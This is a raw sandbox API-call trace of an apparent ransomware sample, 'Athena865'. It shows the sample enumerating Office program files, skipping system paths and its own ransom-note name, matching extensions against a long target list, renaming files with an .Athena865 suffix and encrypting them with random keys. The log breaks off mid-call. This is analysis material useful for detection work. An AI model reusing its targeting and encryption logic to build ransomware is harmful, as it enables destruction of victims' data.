[0071.009] lstrlenW (lpString="trc") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="trc") returned -1 [0071.009] lstrlenW (lpString="trc") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="trc") returned -1 [0071.009] lstrlenW (lpString="trm") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="trm") returned -1 [0071.009] lstrlenW (lpString="udb") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="udb") returned -1 [0071.009] lstrlenW (lpString="udl") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="udl") returned -1 [0071.009] lstrlenW (lpString="usr") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="usr") returned -1 [0071.009] lstrlenW (lpString="v12") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="v12") returned -1 [0071.009] lstrlenW (lpString="vis") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="vis") returned -1 [0071.009] lstrlenW (lpString="vpd") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="vpd") returned -1 [0071.009] lstrlenW (lpString="vvv") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="vvv") returned -1 [0071.009] lstrlenW (lpString="wdb") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="wdb") returned -1 [0071.009] lstrlenW (lpString="wmdb") returned 4 [0071.009] lstrcmpiW (lpString1=".LNG", lpString2="wmdb") returned -1 [0071.009] lstrlenW (lpString="wrk") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="wrk") returned -1 [0071.009] lstrlenW (lpString="xdb") returned 3 [0071.010] lstrcmpiW (lpString1="LNG", lpString2="xdb") returned -1 [0071.010] lstrlenW (lpString="xld") returned 3 [0071.010] lstrcmpiW (lpString1="LNG", lpString2="xld") returned -1 [0071.010] lstrlenW (lpString="xmlff") returned 5 [0071.010] lstrcmpiW (lpString1="H.LNG", lpString2="xmlff") returned -1 [0071.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.Athena865") returned 63 [0071.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.athena865"), dwFlags=0x1) returned 1 [0071.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0071.011] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=559411) returned 1 [0071.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0071.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0071.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0071.012] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0071.012] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0071.012] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.013] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x88c40, lpName=0x0) returned 0x17c [0071.015] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x88c40) returned 0x2d50000 [0071.041] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0071.042] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0071.042] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0071.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0071.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0071.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0071.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0071.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0071.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0071.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0071.042] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0071.048] CloseHandle (hObject=0x17c) returned 1 [0071.048] CloseHandle (hObject=0x154) returned 1 [0071.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0071.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0071.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0071.050] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0071.050] lstrcmpiW (lpString1="GANTT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0071.050] lstrcmpiW (lpString1="GANTT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0071.050] lstrcmpiW (lpString1="GANTT.DLL", lpString2=".") returned 1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="..") returned 1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="windows") returned -1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="bootmgr") returned 1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="temp") returned -1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="pagefile.sys") returned -1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="boot") returned 1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="ids.txt") returned -1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="ntuser.dat") returned -1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="perflogs") returned -1 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2="MSBuild") returned -1 [0071.051] lstrlenW (lpString="GANTT.DLL") returned 9 [0071.051] lstrcpyW (in: lpString1=0x241e89e, lpString2="GANTT.DLL" | out: lpString1="GANTT.DLL") returned="GANTT.DLL" [0071.051] lstrlenW (lpString="GANTT.DLL") returned 9 [0071.051] lstrlenW (lpString="Athena865") returned 9 [0071.051] lstrlenW (lpString=".dll") returned 4 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2=".dll") returned 1 [0071.051] lstrlenW (lpString=".lnk") returned 4 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2=".lnk") returned 1 [0071.051] lstrlenW (lpString=".ini") returned 4 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2=".ini") returned 1 [0071.051] lstrlenW (lpString=".sys") returned 4 [0071.051] lstrcmpiW (lpString1="GANTT.DLL", lpString2=".sys") returned 1 [0071.051] lstrlenW (lpString="GANTT.DLL") returned 9 [0071.051] lstrlenW (lpString="bak") returned 3 [0071.051] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0071.051] lstrlenW (lpString="ba_") returned 3 [0071.051] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0071.051] lstrlenW (lpString="dbb") returned 3 [0071.051] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0071.051] lstrlenW (lpString="vmdk") returned 4 [0071.051] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0071.051] lstrlenW (lpString="rar") returned 3 [0071.051] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0071.052] lstrlenW (lpString="zip") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0071.052] lstrlenW (lpString="tgz") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0071.052] lstrlenW (lpString="vbox") returned 4 [0071.052] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0071.052] lstrlenW (lpString="vdi") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0071.052] lstrlenW (lpString="vhd") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0071.052] lstrlenW (lpString="vhdx") returned 4 [0071.052] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0071.052] lstrlenW (lpString="avhd") returned 4 [0071.052] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0071.052] lstrlenW (lpString="db") returned 2 [0071.052] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0071.052] lstrlenW (lpString="db2") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0071.052] lstrlenW (lpString="db3") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0071.052] lstrlenW (lpString="dbf") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0071.052] lstrlenW (lpString="mdf") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0071.052] lstrlenW (lpString="mdb") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0071.052] lstrlenW (lpString="sql") returned 3 [0071.052] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0071.052] lstrlenW (lpString="sqlite") returned 6 [0071.052] lstrcmpiW (lpString1="TT.DLL", lpString2="sqlite") returned 1 [0071.052] lstrlenW (lpString="sqlite3") returned 7 [0071.052] lstrcmpiW (lpString1="NTT.DLL", lpString2="sqlite3") returned -1 [0071.052] lstrlenW (lpString="sqlitedb") returned 8 [0071.052] lstrcmpiW (lpString1="ANTT.DLL", lpString2="sqlitedb") returned -1 [0071.053] lstrlenW (lpString="xml") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0071.053] lstrlenW (lpString="$er") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0071.053] lstrlenW (lpString="4dd") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0071.053] lstrlenW (lpString="4dl") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0071.053] lstrlenW (lpString="^^^") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0071.053] lstrlenW (lpString="abs") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0071.053] lstrlenW (lpString="abx") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0071.053] lstrlenW (lpString="accdb") returned 5 [0071.053] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0071.053] lstrlenW (lpString="accdc") returned 5 [0071.053] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0071.053] lstrlenW (lpString="accde") returned 5 [0071.053] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0071.053] lstrlenW (lpString="accdr") returned 5 [0071.053] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0071.053] lstrlenW (lpString="accdt") returned 5 [0071.053] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0071.053] lstrlenW (lpString="accdw") returned 5 [0071.053] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0071.053] lstrlenW (lpString="accft") returned 5 [0071.053] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0071.053] lstrlenW (lpString="adb") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0071.053] lstrlenW (lpString="adb") returned 3 [0071.053] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0071.053] lstrlenW (lpString="ade") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0071.054] lstrlenW (lpString="adf") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0071.054] lstrlenW (lpString="adn") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0071.054] lstrlenW (lpString="adp") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0071.054] lstrlenW (lpString="alf") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0071.054] lstrlenW (lpString="ask") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0071.054] lstrlenW (lpString="btr") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0071.054] lstrlenW (lpString="cat") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0071.054] lstrlenW (lpString="cdb") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0071.054] lstrlenW (lpString="ckp") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0071.054] lstrlenW (lpString="cma") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0071.054] lstrlenW (lpString="cpd") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0071.054] lstrlenW (lpString="dacpac") returned 6 [0071.054] lstrcmpiW (lpString1="TT.DLL", lpString2="dacpac") returned 1 [0071.054] lstrlenW (lpString="dad") returned 3 [0071.054] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0071.054] lstrlenW (lpString="dadiagrams") returned 10 [0071.054] lstrlenW (lpString="daschema") returned 8 [0071.054] lstrcmpiW (lpString1="ANTT.DLL", lpString2="daschema") returned -1 [0071.054] lstrlenW (lpString="db-journal") returned 10 [0071.054] lstrlenW (lpString="db-shm") returned 6 [0071.055] lstrcmpiW (lpString1="TT.DLL", lpString2="db-shm") returned 1 [0071.055] lstrlenW (lpString="db-wal") returned 6 [0071.055] lstrcmpiW (lpString1="TT.DLL", lpString2="db-wal") returned 1 [0071.055] lstrlenW (lpString="dbc") returned 3 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0071.055] lstrlenW (lpString="dbs") returned 3 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0071.055] lstrlenW (lpString="dbt") returned 3 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0071.055] lstrlenW (lpString="dbv") returned 3 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0071.055] lstrlenW (lpString="dbx") returned 3 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0071.055] lstrlenW (lpString="dcb") returned 3 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0071.055] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0071.055] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0071.055] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL.Athena865") returned 62 [0071.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll.athena865"), dwFlags=0x1) returned 1 [0071.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0071.057] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1561448) returned 1 [0071.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0071.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0071.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0071.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0071.058] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0071.058] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.059] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17d670, lpName=0x0) returned 0x17c [0071.060] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17d670) returned 0x2d50000 [0071.115] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0071.116] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0071.116] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0071.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0071.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0071.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0071.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0071.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0071.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0071.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0071.117] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0071.131] CloseHandle (hObject=0x17c) returned 1 [0071.131] CloseHandle (hObject=0x154) returned 1 [0071.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0071.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0071.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0071.137] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0071.137] lstrcmpiW (lpString1="GFX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0071.137] lstrcmpiW (lpString1="GFX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0071.137] lstrcmpiW (lpString1="GFX.DLL", lpString2=".") returned 1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="..") returned 1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="windows") returned -1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="bootmgr") returned 1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="temp") returned -1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="pagefile.sys") returned -1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="boot") returned 1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="ids.txt") returned -1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="ntuser.dat") returned -1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="perflogs") returned -1 [0071.138] lstrcmpiW (lpString1="GFX.DLL", lpString2="MSBuild") returned -1 [0071.138] lstrlenW (lpString="GFX.DLL") returned 7 [0071.138] lstrcpyW (in: lpString1=0x241e89e, lpString2="GFX.DLL" | out: lpString1="GFX.DLL") returned="GFX.DLL" [0071.138] lstrlenW (lpString="GFX.DLL") returned 7 [0071.142] lstrlenW (lpString="Athena865") returned 9 [0071.142] lstrlenW (lpString=".dll") returned 4 [0071.143] lstrcmpiW (lpString1="GFX.DLL", lpString2=".dll") returned 1 [0071.143] lstrlenW (lpString=".lnk") returned 4 [0071.143] lstrcmpiW (lpString1="GFX.DLL", lpString2=".lnk") returned 1 [0071.143] lstrlenW (lpString=".ini") returned 4 [0071.143] lstrcmpiW (lpString1="GFX.DLL", lpString2=".ini") returned 1 [0071.143] lstrlenW (lpString=".sys") returned 4 [0071.143] lstrcmpiW (lpString1="GFX.DLL", lpString2=".sys") returned 1 [0071.143] lstrlenW (lpString="GFX.DLL") returned 7 [0071.143] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.Athena865") returned 60 [0071.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.athena865"), dwFlags=0x1) returned 1 [0071.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0071.164] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2542440) returned 1 [0071.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0071.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0071.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0071.165] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0071.165] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0071.165] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.166] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26ce70, lpName=0x0) returned 0x17c [0071.167] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x6ce70) returned 0x2d50000 [0071.316] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0071.317] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0071.317] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0071.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0071.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0071.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0071.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0071.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0071.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0071.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0071.318] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0071.321] CloseHandle (hObject=0x17c) returned 1 [0071.321] CloseHandle (hObject=0x154) returned 1 [0071.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0071.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0071.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0071.330] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0071.330] lstrcmpiW (lpString1="GKExcel.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0071.330] lstrcmpiW (lpString1="GKExcel.dll", lpString2="CUsersGustavoDesktopAthena865.exe") 